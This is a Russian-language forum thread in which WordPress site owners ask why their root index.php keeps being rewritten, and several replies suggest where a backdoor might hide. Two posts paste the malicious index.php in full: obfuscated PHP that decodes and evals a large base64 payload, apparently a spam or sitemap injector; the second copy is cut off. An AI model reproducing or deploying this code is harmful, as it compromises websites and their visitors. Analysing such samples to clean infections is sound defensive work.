Sign in to follow this  
Followers 0
bysel

Вирус на вордпрессе перезаписывает Index.php и права

10 posts in this topic

Добрый день!

Имеем:

  • пользователей фтп всех удалили
  • пароль от админки убер сложный
  • у админа не стандартный логи
  • других левых админов нету
  • все файлы чистые на хостинге

С периодичностью раз в 2 дня где-то перезаписывается index.php лежащий в корне файла. Помогите гуру ) куда копать? странность в том что перезаписывает только index.php , никаких других файлов не заражает. 

<?php
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = 'mapss200.xml';
$jdir = '';
$smuri_tmp = smrequest_uri();
if($smuri_tmp==''){
	$smuri_tmp='/';
}
$smuri = base64_encode($smuri_tmp);
$dt = 0;
function smrequest_uri(){
	if (isset($_SERVER['REQUEST_URI'])){        
		$smuri = $_SERVER['REQUEST_URI'];        
	}else{
		if(isset($_SERVER['argv'])){       
			$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];     
		}else{      
			$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];        
		}
	}        
	return $smuri;        
} 


$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iSmdXVG9YWXJ3dmRLcXlTUFJDa2J4aURMbGNwdFZVbkJIYUlRWk9tc05NQWZodWpGR3pFZURtTE1uY3JrRkd5QVBDYkJqaHhvTlFPbFRFSGVVS3R1c1pXU1ZJelJZSndhWGRnaWZxcHZCTzlGWnN3bU9TbllobTBBRHNqVG9jd21CYnV3RGk5c2pVam9EM1lleWZVZUVoeXlJRjBBRGZ5R3kyVVFXTzBtRDJVSFYyWDB2YjFUWkx5bnlPV2RaMjlkckxqUHJjdVhvUTVGeUNFN09TbnhaTFNtQmJ1d0RpOXNqVWpvRDNZZVpMU3RjTVJtT1NueEUyVDBWYnc5V3B3eGMweWlVaVJ0RTIxcVpjalREMTA3T1NueEUyVDBWYnc5V3NZMEVUOUNWY3VSckxZVEFoRUdEQ0Z0RENGeEUyVDBWYng3T1NueFpmOXF5aHc5V2hqYUswVWJVeFViTEN5V1VpalNjMFhCSzFTdGNNUlloUWpnb2Y5Z1pDdzlXaEV0SUYwQU9Tbnh5ZlVlRXN5VHJRdzlXcHd4YzB5aVVpUnR5ZlVlRXN5VHJReXlJRjBBRHNqVG9jdTNWTFdtQmJ1cXlzRGFFelVGb2ZpZ1ZibXRsQ0VSRENFUkRzalRvY3UzVkxXSElGMEFPU0hIVlFteHlmVWVFc3lUclFUN09TbkREc1lIeWZLbUJid3h5ZlVlRXN5VHJUUkZjYjR4eWZVZUVzeVRyVFJOY2I0eHlmVWVFc3lUclRSQ2NNUllobXh4eWZVZUVodzlXc1kxcnRZMEVRbXh5ZlVlRXN5VHJRRnFBTVJZaHQwWWhtMEFPU254b2ZpZFZDdzlXaGphSzBVYlV4VWJMQ0RXVWlqU2MwaU9TMFVTVWk5SlNLNXNVS2lzamJEeUlGMEFEZk5Yb3pFbUJidVFyY1lUWWdqYVZMNWdvMmpUQWhqUnJMNXRBTVJZaFFqR0VDdzlXaGphSzBVYlV4VWJMQ3lXVWlqU2MxVU1qVURhU0t5aU1UU3RjTVJZaFFqR0VDdzlXZkRYRTJLMllpOVRvellHVmZLbkRmOXFBTVJZaHpUekFmVHFFMlUwQWhqYUswVWJVeFViTEN5V1VpalNjMURpanhVYmpVV3RjYnhIdkYwQVdod21XaGoxRXpOcVpmaWRWQ3c5V2hqYUswVWJVeFViTEN5V1VpalNjMURpanhVYmpVV3RjTVJZaFF3bVdod3h5Y0RSRTJYWG96RW1CYnVRcmNZVFlnamFWTDVnbzJqVEFoajFFek5xWmZpZFZDeDdPU0g5VkxOcVZjUllobXh4eWNEUkUyWFhvekVtQmJ3dERxUllodDBZaG0wQVpMcm5WMlUwVkw1MkFoeWJqSzFCVXBVYVNLanBLUUVIV2hyeldzWTBFellYRTJVZ29jd25WMlUwVkw1MkFoeWJqSzFCVXBVYVNLanBLUUVIbGh3dHlMNWtvejkzb1FFSEFidTdPU254cjJOR3IyUm1CYnV0VmNqVG90cm5EMURpTUs5S2pVOXVqcGpiREN4N09TSDlXZlVSRTJVSFZRWEhFM1lUeWhteGMxWWlLVFZpS1RSdEt4VVlNMWppYzBpcGppV3RjYnhtRFFybURpOU1qVURMalVEb0QxRGlNSzlLalU5dWpwamJEMTBtRFFybUUzakNyMmlxVkxZZUVobXhjMVlpS1RWaUtUUnRLeFVZTTFqaWMwaXBqaVd0Y2JGbUQzVWRaMjVHeTI0dEFieG12RjBBRGZZUm8yWWtXTzBtRGk5TWpVRExqVURvRDFEaU1LOUtqVTl1anBqYkQxMDdPU0g5T1NuWWhRam55c2pGYzJZUm8yWWtXTzBtRENFN09TSEhWUVh0VmNqVG90cm5EMFhLVWl1YVMwTkRqSzVLYzBUU0RDeG1EUXJtRTNqQ3IyaXFWTFllRWhYdFZjalRvdHJuRDBYS1VpdWFTME5Eaks1S2MwVFNEQ3hSV2h5MW96ZWRvM3lkREN4SFdzUlloUWpueXNqRmMyWVJvMllrV08wbVYyVTBWTDUyQWh5V1VpalNjMFlKYktVSVVpOURLaEVISUYwQWFidVRvc1lUWkxyblYyVTBWTDUyQWh5V1VpalNjMVhhang5YlUwaWJqcFVwYzBWQktRRUhXaHJ6V3NZMEV6WVhFMlVnb2N3blYyVTBWTDUyQWh5V1VpalNjMVhhang5YlUwaWJqcFVwYzBWQktRRUhsaHd0eUw1a296OTNvUUVIQWJ1N09Tbnhac2owRWk5Z29mOWdaQ3c5V2Z5VHlmVWR5UW10YmlqS0tpOXJjMFZCS1R5dUt4amlqaTlmTTFXdEFNUllodDBZaG0wQVpMcm5FM2pDWmNZMEVRbXhyMk5HcjJSUkRDRnRBYlQ3T1NuRERmWVJvMllrYzNqZUVodzlXZlU0RWZOR1ZmS25XUUZRbGhqZ29mOWdaQ3g3T1NuRERmWVJvMllrV08wbURmWVJvMllrYzNqZUVpUkZjTVJZaHQwRE9TSEhWUVh3RGk5c2pVam9EMmVQRDEwbUJNMG1XZ3BRQWNSRE9TbkREc1UxRXpGbUJid3hjMHlpVWlSdFoySHFaY2pURDEwN2hTMEFoTFVnWmY4bURxTkhWdERYb0xLbVdmVHhCYkRlckxUZHkyVVFXUXVkckwxVEJiRGVyTFRkeTJVUVdRdW5WTFR0WnNTOVdncEZKaEtRV3N5SFZzam5CYldOSk93VFdRdXF5c1RSVk0wUVdmakhFM3VScmN4NldmRFJvMllrSTJOVFZ0UzZKT2UwbzN3NkpPZUZvM1lIeWZUR29nSHpaY1hUVk9SbXZRMUhvempUdk9ubUpNd0ZKT3dGSUN3bXJ6aWdaMnlDbzNVZFZoMWdvMk5HRWdubVcyVnpWZ1JRV2ZWQ3JMMVRyejlDVmZVQ1dPMG1XZ3dRV2h1ekV6aWVWTERHRXpqVEVnMFFKaFdtV2Y5ZE1mOVhWTzBRWktWQ3JMMVRiZlVIVjJYMEFoeFFXc1lDcnEwUURDNVFyY1lUWWdqYVZmVWdvMmpUQWhqMXljRFJBYjR0V2c0OGwyVHpFemllVk00dElGMEFoTFU0WmNTN09TSDlPU25ZaHpUekFzWTBFelRxeXNXbkRzWWV5Y0RIYzNqZUVoRnRsellxRUNFSEFjUkRPU25ERHN5VHJRdzlXaHlueXNqRklROEdEQzR4VjI5M1ZMV2REQzlIb3pqVHZoNUZac3cveWNEUkJiRWREc1lIeWZLZERDVkhWTzB0bFFqSFZoNHREdGpUb2N3OURDNHh5ZlVlRWg0dER6ajBCYkVkRGZqMGxRRXp5MlVRQmJFZERmWEdFM1NkRENWNnZnMHRsdFllWmNZUW8zU25BYjR0RHpIeFpjVzlEQzR4WnpqSEVRNHREellSbzJZa0JiRWREZllSbzJZa2xRRXp5Y0RIQmJFZERzWWV5Y0RIbFFFem9maWRWcTB0bFFqUnJMNXRsUUV6bzNKOURDNHhvM0pkRENWMUV6TnFaZmlkVnEwdGxRajFFek5xWmZpZFZDNHREelgweXN1YXIyTkdyMlI5REM0eFpzajBFaTlnb2Y5Z1pxUllobXh4WnNqZW9pOWdvMjUwVkw1MFdPMG15c0RIb2JYcW9MOTF5ZmpHQWhqM1ZMV0hBTVJET1NuRFpMcm5XY1kwRXRZMEVRbXhac2plb2k5Z28yNTBWTDUwbGh5ZG8yREd5c1VxVmNEWFYyVWR5aEVIQWNSRE9TbkRoTFR6QXNZMEV0WTBFUW14WnNqZW9pOWdvMjUwVkw1MGxoeUdaMlgwb0xOdFZjamdvMjUwVkw1MERDeEh2RjBBaFN4RFNmWFRyTGpURVFtUVMyOWR5ZlVkeWgxMHZjdVRJUXUwVmNYMGwyWXFFcVJtcjJYWEV0WVR5TzExeWZyZUloV0hJRjBBaFN4RERmWDBvTE5hcjI5ZHlmVWR5aHc5V3NZMEVUOUNWY3VSckxZVEFoREdaMlgwb0xOdFZjamdvMjUwVkw1MFdRRnREQ0Z4WnNqZW9pOWdvMjUwVkw1MEFNUkRPU25EaFNUVHIyWEdXaGpueWYxUmMyWUdvdGpUb3RTN2hTeERoUzBBaFN4RFZjWEh5aG1ISUZ4WWhteERhTFVSRTJLbVpMcm5FM2pDRTNqQ0Foam55ZjFSYzJZR290alRvdFNSRDJ5VHlmWUdvdGpUb3RTMUpPdUZyTHlUREN4SHZGMEFoU3hEU2ZYVHJMalRFUW10YmlqS0toOE5sZ3BtWU13RldwVGR5ZlVDb3ppUldpWVRFdFZURVF1aUV0REdFUUVISUYwQWhTeERWY1hIeWhtSElGMEFoU1Q5VkxOcVZidUhWUVhxeXNEcXlzV25EZlgwb0xOYXIyOWR5ZlVkeWhGdFYyVTByMjlkeWZVZHlPU0ZZc3VYVjJLdEFiVDdPU25EaFNUd1pmVVhWZlVDQWh5V1VpalNscXBkSmJ3MEpPU21NejkwV3BWR3lMNXhEQ3g3T1NuRGhTVFR2ZlQwQWh4N09TbkRoYzBZaG14RGhTeERoUzBBaGMwRGhTMEFhUzBBT1NIVG9zWVRXZlR6QWhqcVpjalRBY1JtT1NuRFpMcm5Ec1lIeWZLbUJNMG1EM1hlb2hFSHZGMEFoU1R3WmZVWFZmVUNBaERPbzI1MFZMNTBsY2o1RWZLNldzalR2c1NHWnNqZW9PUm1yMlhYRXRZVHlPMTF5ZnJlSWhXSElGMEFoU3h4eTJVUVdPMG1EMlgweXN3NmxDOHRsUWp0bzN5VHJRNHRsM1lIeWZVZXJjd2RFZlhGQjJqWHlmSzlEQzR4WkxTZERDVjBWTDFGQmJFZERzalRvY3dkRENWM1ZMVzlEQzR4WmY5cXloNHREdFhlb08wdGxRanh5T1JtT1NuRGhMVHpBc1kxcnRZMEVRbXh5ZlVlRWhGRmxPbUhCTTB0RTJYVG9mTjRvTEZ0QWNSWWhteERoYmo0b0xOZHJMMVRXTzBtRTNVUUUzakNBaGowVkwxRmxPbUhsUUVkdmYxUkRxUllobXhEYVMwQWhTVEhWUVhxeUxEcXlzV25Ec2pUb2N3UkpoRjNBTTA5RDJYWHIyZTRvTEZ0QWNSWWhteERoTFR6QXNZMXJ0WTBFUW14eWZVZUVoRjNBYlQ3T1NuRGhTeEREc1hlb2Y1WG9MS21CYnVxeUxEcXlzV25Ec2pUb2N3UllDeGREQzU0b0xGdElGMEFoU3hEYVN4RGhTMEFoU1Q5T1NuRGhiajRvTEZtQmJ1MEV6VGVBc1llbzNVMFZmOG5Ec3lUclF4SElDd1lobXhERGYxNVZ6VFJWYnc5V2ZWR0VmVWRBaGo0b0xOZHJMMVRsaHdReUNXSElDd1lobXhEVnR5Q1pjalRBaGpldkxWSG9mS1JXaGo0b0xGSElGMEFoU1R6cjJOR0UyS25EZjE1VnpUUlZieDdXdzBBaFNUVHIyWEdXaERHWnFOUUVnNW55c2pGSVE4R1dRNHhjMVlpS1RWaUtUUnRiaWpLS2k5V00xWUtEMTBkV1E4UWxRajRvTE5kckwxVElDd1lobXhEVkxZbm9Dd1FCZkRDQlFXZERzeVRyZ1JZaG14RE9TbkRoTFU0WmNTbkFNUllobVQ5aFMwQWhMVHpBaGpIVmhUN09TbkRoS3VuVkxpeFZjV25XeFlHb3RqVG90U2V5c1RGVk1ubXlmVTR5aDlueWYxUklDdWdaZmlDRTJVMEJjVTBWUTA0V1F4N09TbkRoYmozVkxXbUJid3Rac2owRU9uR2xDRWREZnlHeTJVUWxRRUdaTDV4VmNtZEVmWEZCM1VDb08wdGxRanFaY2pUbFFFelpMUzlEQzR4WkxTZERDVjBWTDFGQmJFZERzalRvY3dkRENWeHlPMHRsUWp4eWg0dER0eVRyZzB0bFFqbm8zWTBsUUV6dnRuOURDNXFvTFRxcno5MEFoeGREQ1ZQVmZUQ0JiRWREZkh4WmNXZERDVmdvZjlnWnEwdGxRamdvZjlnWkM0dER0VUNaTTB0bFFqcW9jVUNaYjR0RHpOWG96RTlEQzR4b2ZpZFZDNHREejlxQmJFZERmOXFsUUV6eWNEUkUyWFhvekU5REM0eHljRFJFMlhYb3pFZERDVm55c2pGYzJZUm8yWWtCYkVkRGZYMHlzdWFyMk5HcjJSN09TbkRoYmpueWYxUmMyWUdvdGpUb3RTbUJidTBFelRlQXNZZW8zVTBWZjhuRHN5VHJReEhJRjBBaFNUSFZRbVhFM2pDRTNqQ0Foam55ZjFSYzJZR290alRvdFNSRDI1R3J6OTB5Y1lURXppdFZMNTBEQ3hIdkYwQWhTeERaTHJuRTNqQ0UzakNBaGpueWYxUmMyWUdvdGpUb3RTUkQyOWtac2plb2Z5VHlmWUdvdGpUb3RTdEFiVDdPU25EaFN4RERmWDBvTE5hcjI5ZHlmVWR5aHc5V3NZMEVUOUNWY3VSckxZVEFoREdaMlgwb0xOdFZjamdvMjUwVkw1MFdRRnREQ0Z4WnNqZW9pOWdvMjUwVkw1MEFNUllobXhEaFNUVHIyWEdXaGpueWYxUmMyWUdvdGpUb3RTN2hTeERPU25EaFN4RFZjWEh5aG1ISUYwQWhTeERhTFVSRTJLbVpMcm5FM2pDRTNqQ0Foam55ZjFSYzJZR290alRvdFNSRDJ5VHlmWUdvdGpUb3RTMUpPdUZyTHlUREN4SHZGMEFoU3hEaEt1blZMaXhWY1duRDBYS1Vpd0dKYjROV09LRkpodURvdGpURXo1WG9odU1WY0QyVmNXbWpjRENvM1d0QU1SWWhteERoU1RUdmZUMEFoeDdPU25EaFNUOVZMTnFWYnVIVlFYcXlzRHF5c1duRGZYMG9MTmFyMjlkeWZVZHloRnRWMlUwcjI5ZHlmVWR5T1NGWXN1WFYyS3RBYlQ3T1NuRGhTeERTZlhUckxqVEVRbXRiaWpLS2g4TmxncG1ZT3cwV3A1R3lodWZvM1VkVmhFSElGMEFoU3hEaExVNFpjU25BTVJZaG14RGhjMFlobXhEaFN4RGhTMEFoU1Q5T1NuRGFTMEFhTFVSRTJVN09TbkRPU25ERHN5VHJRdzlXaHlueXNqRklROEdEQzR4VjI5M1ZMV2REQzlIb3pqVHZoNUZac3cveWNEUkJMREd5aFZIVk8wdGxRakhWaDR0RHRqVG9jdzlEQzR4eWZVZUVoNHREemowQmJFZERmajBsUUV6eTJVUUJiRWREZlhHRTNTZERDVjZ2ZzB0bHRZZVpjWVFvM1NuQWI0dER6SHhaY1c5REM0eFp6akhFUTR0RHpZUm8yWWtCYkVkRGZZUm8yWWtsUUV6eWNESEJiRWREc1lleWNESGxRRXpvZmlkVnEwdGxRalJyTDV0bFFFem8zSjlEQzR4bzNKZERDVjFFek5xWmZpZFZxMHRsUWoxRXpOcVpmaWRWQzR0RHpYMHlzdWFyMk5HcjJSOURDNHhac2owRWk5Z29mOWdacVJZaG14eFpzamVvaTlnbzI1MFZMNTBXTzBteXNESG9iWHFvTDkxeWZqR0FoajNWTFdIQU1SWWhtVEhWUW1YRTNqQ0UzakNBaGpueWYxUmMyWUdvdGpUb3RTUkQyNUdyejkweWNZVEV6aXRWTDUwREN4SHZGMEFoU1R3WmZVWFZmVUNBaERPbzI1MFZMNTBsY2o1RWZLNldzalR2c1NHWnNqZW9PUm1yMlhYRXRZVHlPMTF5ZnJlSWhXSElGMEFoU1RIVlFYcXlzRHF5c1duRGZYMG9MTmFyMjlkeWZVZHloRnRvMmVueWYxUlYyVTByMjlkeWZVZHloRUhBY1JZaG14RGhiam55ZjFSYzJZR290alRvdFNtQmJ1cXlzRGFFelVGb2ZpZ1ZibVFvMmVueWYxUlYyVTByMjlkeWZVZHloV1JEQ0VSRGZYMG9MTmFyMjlkeWZVZHloeDdPU25EaFNUVHIyWEdXaGpueWYxUmMyWUdvdGpUb3RTN2hTeERPU25EaFNUVHZmVDBBaHg3T1NuRGhjMVRvc1lUV2ZUekFzWTBFdFkwRVFteFpzamVvaTlnbzI1MFZMNTBsaHl0VmNqZ28yNTBWTDUwWU13RkVmaXRWYkVIQWNSWWhteERoS3VuVkxpeFZjV25EMFhLVWl3R0piNE5XT0tGSmh1RG90alRFejVYb2h1TVZjRDJWY1dtamNEQ28zV3RBTVJZaG14RGhMVTRaY1NuQU1SWWhteERhTFVSRTJLbVpMcm5FM2pDRTNqQ0Foam55ZjFSYzJZR290alRvdFNSRDJ5VHlmWUdvdGpUb3RTMEpPakZyTHlUREN4SHZGMEFoU3hEU2ZYVHJMalRFUW10YmlqS0toOE5sZ3BtWU93MFdwNUd5aHVmbzNVZFZoRUhJRjBBaFN4RFZjWEh5aG1ISUYwQWhTVDlPU25EaFN4RGhTMEFoYzBET1NIOU9TblloelYxb3pZMFpMOWRXc1llWmNZUW8zU25BYnU3T1NuRERmaXRWTDUwV08wbUUzakN5ZjlSbzN5VEVRbXhjMVlpS1RWaUtUUnRiaWpLS2k5VUswVWJjMGlzaks1S0QxMEhJRjBBaExUeldobXhyTHlUb3RTbVdNMG1XUVdIV3NSWWhteEREc1lGWkxqVEVUWUh5ZkttQmJ1WEV0RFh2YnduV1RqVG96WVRvdGpLRXppMlZMTlRFUVdSV3h5R28yeVJWTERHeWhXUld6MXFvekRHeWhXUldUWUdFMjlxRWZUeFZjV2tXUUZRSzI5dG8zS215MlVRV3NZRlpMalRFUVdSV3pUWGMyaUNyMlhIeXpVQ1dRRlFMTGlubzI4WFdpWVJ5Y0RGV1FGUUxMOTFWZmlHU3o5MFdRRlFMTGlubzI4bUsyTjFFdHdRbGhEWUswNWhvM1NRbGhEQXJjVlhXaFhCVnRqVG9RdXFFZmllV2ZER3loeFFsaERockxUcHlVWUZaTGpURVFXUldUVkdaTE5YV1FGUUxMaWRWZlU0V2ZER3loV1JXeERNRWZUeFZjV1FsaEQweTJUZ1ZMTlRFUVdSV1RZR1YyOTFXaVlGWkxqVEVRV1JXVFlGVkxVeHZidU1FZlR4VmNXUWxoRHNvMjl0b2ZLbVNMak1WTDVxVmJXUld4WFRFelQwRXpUNFdRRlFLc1QwWmY5ZGxjVUNvZk5IclFXUld4aVJWY1hYV2hYRFNidXVFelluWmNWVEVReFFsaER1RTJSUWxoRGl2ZmlRbzNTUWxoRE95Y1kwb0NXUld4OTF5ZlZHdnBER3loOVZvMmpYbzBER3loV1JXdFRYcjN4UWxoRE15Y0QyVmNUaG8zU1FsaERSVkx5cVdRRlFvc3lGbGNqQ1pjVkhyTEZRbGhESXljamdaaFdSV1RZMHJMWWtLemllcnpOVEVRV1JXVGpuVmJ1M1ZMV21yY0RnWmZUMlZid25iS3BtU2NEZ1pmVDJWY1dIV1FGUUtmVUNvaHUwbzI5UldRRlFNS25OSnpER3loV1JXeDVUeWZZQ3JMVjBXUUZRTVVZRGpLWUNyY3lSVmNXUWxoRGNqMlUwV3NqR28yTnFXUUZRb2ZpQ3J6VGRXUUZRanpUcVpodXFWTGlDcjJtUWxod3RyelRkVjJER3loRVJEMnlHbzJ5UlZiRVJXaHlRckxUeHliRVJXaHlYbzJGdGxod3RyelRkVkNFUldoeTVyTFhHb0NFUldoeVZyTDV4VmNYaG8zU3RsaHd0U0xYQ1ZMVnFTejkwREN4N09TbkRoTFZHRXpVWHIybW1BaGpxRWZUeFZjRE1aY2pUV2ZpcVdoajJyTEZIV3NSWWhteERoYmpxeXNXbUJidXF5c0QwbzJOR3kyVUNBaGoyckxGSElGMEFoU3hEWkxybUFzWTBFdHVHRUNteHJMeVRvdFNSV2hqcXlzV0hBYnU3T1NuRGhTeERFelUweWNEZFdzakN5TEs3T1NuRGhTVDlPU25EaGMwWWhtVDlWTE5xVmNSWWhteERFelUweWNEZFdmVlhvc1lUSUYwQWhjMFlodDBZaHpWMW96WTBaTDlkV3NZZW8zVTBWZjhuRHNVQ29oVDdPU25ERGZWSG9mVWFyMjlkeWZVZHlzSm1CYnV3VnpUUlZVOXRWY2phcjI5ZHlmVWR5c0puRHNVQ29oeDdXdzBBaExUeldobVhEZlZIb2ZVYXIyOWR5ZlVkeXNKSFdzUllobXhERGZZbldPMG1yM1VDb2k5SG96VDBBaHg3T1NuRGhMWTFFek5hRTJVMG8zdTBBaGpnWmhGbVMxVWJNcDlTVWk5VUt4RlJXaGoxRXpGSElGMEFoU1RneWNEUmMzWVR5ZjlGeWhteHIybVJXcFlVS3hOQktpamFLeFVLVVVESVVpRHVNVFlmalVXUkpieDdPU25EaGJqelpMTlRjMllHb3RqVG90anFXTzBtcjNVQ29pOVR2ZlVnQWhqZ1poeDdPU25EaExZMUV6TmFyMk5HRTJLbkRmWW5BTVJZaG1UOVd3MEFoY0RUeXNVQ29Rd3hWelRSVlU5Z28yNTBWTDUwRXFSWWh0MFloZzgrIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
 ?>

 

Share this post


Link to post
Share on other sites

Вы деньги платите кому? - Правильно, хостеру, вот ему и задавайте данный вопрос.

Почему задавать вопрос именно хостеру? - Потому что он владеет всей информацией по вашим файлам и логам.

Share this post


Link to post
Share on other sites

Возможно, тема зараженная. Проверьте файл functions.php на подозрительный код.

Share this post


Link to post
Share on other sites

Не анализируя логи, гадать можно очень долго. Вы сказали, что почистили сайт. А вы уверены в этом? 

Если вы изменили все пароли, стерли все файлы. То откуда залили новые? Возможно новые заражены уже. 

Может быть заражен ваш компьютер, но я не думаю, что такой "уровень" у хакера...

Share this post


Link to post
Share on other sites

Перезаписывается скорее всего POST запросом с удаленного сервера (а если сайт интересный, могли персонально зайти, поставить запуск по крону или автоматически при совершении каких-либо действий админом и т.д.). Троянский конь где-то на сайте или даже в базе данных.

Share this post


Link to post
Share on other sites

Ставили ли какие то плагины или темы? Если да то ищите проблему там. Скорее всего в BASE64 есть функция которая запускает. Не думаю что спецом ломали Вас через инъекцию 

Share this post


Link to post
Share on other sites

И мне попал вирус на сайт.

Помогите.

<?php

@set_time_limit(3600);

@ignore_user_abort(1);

$xmlname = 'mapss212.xml';

$jdir = '';

$smuri_tmp = smrequest_uri();

if($smuri_tmp==''){

	$smuri_tmp='/';

}

$smuri = base64_encode($smuri_tmp);

$dt = 0;

function smrequest_uri(){

	if (isset($_SERVER['REQUEST_URI'])){        

		$smuri = $_SERVER['REQUEST_URI'];        

	}else{

		if(isset($_SERVER['argv'])){       

			$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];     

		}else{      

			$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];        

		}

	}        

	return $smuri;        

} 





$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0ibHJTalJKV2VURXlHS3ROc2RRY3dJT1VZYXVGZ2tBUGhEcFZaQnZ6bm9xWEhieGZMQ2lNbWhiTXpvYXBVU3d4bnJ5SWlEZXFmdllGc0FrZFpKV1hPQ1JFTEJLUEdWUWNITmxUdWd0am1YQzlmQUhXWkNlVklnWjByYUhvaE5jV1pYTUJXYWQ5SG9Fb05hM0l5RG5FeXFnRERZZjByYW5ES0QyRXR2QzBaYTI1Uk5tRTBVTTFtTjNFeGp0NTBOMnk1TjIxZnVHQjNhUGlJZ3RvUkxnVzl2d1dKYzBEZEVkaUdxMjFSTGdERFl4V0lndG9QQWNvaHZDMFplZ29UbzBFRnB4RFBOY0lSRG5GR2NTaUlndG9QQWNvaHZDMFpxM294YzNhaHFubE9zMkZWYXg4R3VncUd1Z29QQWNvaHJTaUlndG9WTjNJMHZDMFphZDlTb0VhcG9FYU5hME9GRWRCVE13OVNFZ0REWWYwcmFuSWlOMklidkMwWmF4cTdDZVZJZ3RvMExwMWZEMkV0dkMwWmVnb1RvMEVGcHhEMExwMWZEMkV0YTEwN0NlVkpEbkV5cUhEaHN0Vzl2SEkwcWg5eExjQmlzcElocmdxS2F4ZkdheGZKRG5FeXFIRGhzdEo3Q2VWSWdtaG1yZ28wTHAxZkQyRXRyY2lJZ1pKSnEyaDBMTVc5dmdvMExwMWZEMkV0cFBCRHV0bzBMcDFmRDJFdHBQZER1dG8wTHAxZkQyRXRwUGFEWWYwcmdNbzBMcDFmdkMwWnEzRXRxM294cmdvMExwMWZEMkV0dUNqUllmMHJUZTByQ2VWSWd0b2lzcDVHdkMwWmFkOVNvRWFwb0VhTnZKT0ZFZEJUZUZJQ29FQkZjMGxCU0pERWVGRGR2aDA3Q2VWSk5uZGtMeFc5dm5hT3EyRjJJZDloTm1JS0xuRlZhbmxPTm1xUllmMHJhbjlQdkMwWmFkOVNvRWFwb0VhTmEwT0ZFZEJURUVJZEZoOUJvMEVZRWdERFlmMHJhbjlQdkMwWnNtZFBMU3MwYzJFa3MyOUpMTVpKTjNqUllmMHJBcHNWQWNJUExjZVZhZDlTb0VhcG9FYU5hME9GRWRCVEZKRW5vRWFkRnRERHJNaDdDZVZadmdXWmFIRXhOSElWc3A1R3ZDMFphZDlTb0VhcG9FYU5hME9GRWRCVEZKRW5vRWFkRnRERFlmMHJ2Z1dadmdvMXFtbFBBbmRrTHhXOXZuYU9xMkYySWQ5aE5tSUtMbkZWYUhFeE5ISVZzcDVHclNpSWdHMWhOSEloVWYwcmdNbzFxbWxQQW5ka0x4Vzl2Z3FHWWYwclRlMHJDZVJSTHRPR0xjb2hOR3NWYTFhZFNGOUZvRTlCb3dvTWF4SlphdHNacTNveHMyZFBMcEl5cWdPR0xjb2hOR3NWYTFhZFNGOUZvRTlCb3dvTWF4Sml2Z0QxTm15a04zRGtheEpSdkhpSWd0b3pObjl6QXhXOXZuRGhEbkVrRHRaR0ZKRUlTMW9kYzBkd29kdkdyU2lJZ0cwWkxwbFBMcGhtcm5oUHEyRTByZ29URjBFTUVKRU1weERNb0YxWEV3RVRlRm93RnRERHJNV21hdFdKYzFJZEZoTGRGaGlHRkpFSVMxb2RjMGR3b2R2R2NNV21hdEJQREhhenNjSWhzMjFmcmdvVEYwRU1FSkVNcHhETW9GMVhFd0VUZUZvd0Z0RER1Z1dHRHA1Yk5tOTNOdHFSck1CN0NlVkpzMmxLczJpWlhNV0pjMUlkRmhMZEZoaUdGSkVJUzFvZGMwZHdvZHZHY1NpSWdHMElnWjByYW5PMERIQlRzMmxLczJpWlhNV0dhUGlJZ21obXJuRGhEbkVrRHRaR01kb0ZGZDlDU3doZFNob1RNRVdHck1XbWF0QlBESGF6c2NJaHMyMWZybkRoRG5Fa0R0WkdNZG9GRmQ5Q1N3aGRTaG9UTUVXR3JNZlphM0VrQTI1S0QyNEdyTUpaVWYwcmFuTzBESEJUczJsS3MyaVpYTUJHTGNvaE5Hc1ZhME9GRWRCVGUwbGFvRjVGYzBoZWF4SjdDZVI5dm5FaXEyRVJMdE9HTGNvaE5Hc1ZhME9GRWRCVHBkOW5TMWFjZUVhd29Gb1RvSjlNYXhKWmF0c1pxM294czJkUExwSXlxZ09HTGNvaE5Hc1ZhME9GRWRCVHBkOW5TMWFjZUVhd29Gb1RvSjlNYXhKaXZnRDFObXlrTjNEa2F4SlJ2SGlJZ3RvVkRIb2ZjMklpTjJJYnZDMFpMMkUwTHA1MnJnRHZFZG9lYzFPVG9KOU1FMGRNb3dFd2MwTFhGdHFSWWYwclRlMHJDZVJSTHRPUERIYVJxM294cmdvek5uOXpBeGZHdWdxUnJjaUlnWkpKczJsS3MyeVREbjFmdkMwWkxjT2ZObjlKTE1adHVndmlhbklpTjJJYnJTaUlnWkpKczJsS3MyaVpYTVdKczJsS3MyeVREbjFmcFBCRFlmMHJUZUpJZ21obXJ3V0pjMERkRWRpR0EyVkdjTVc5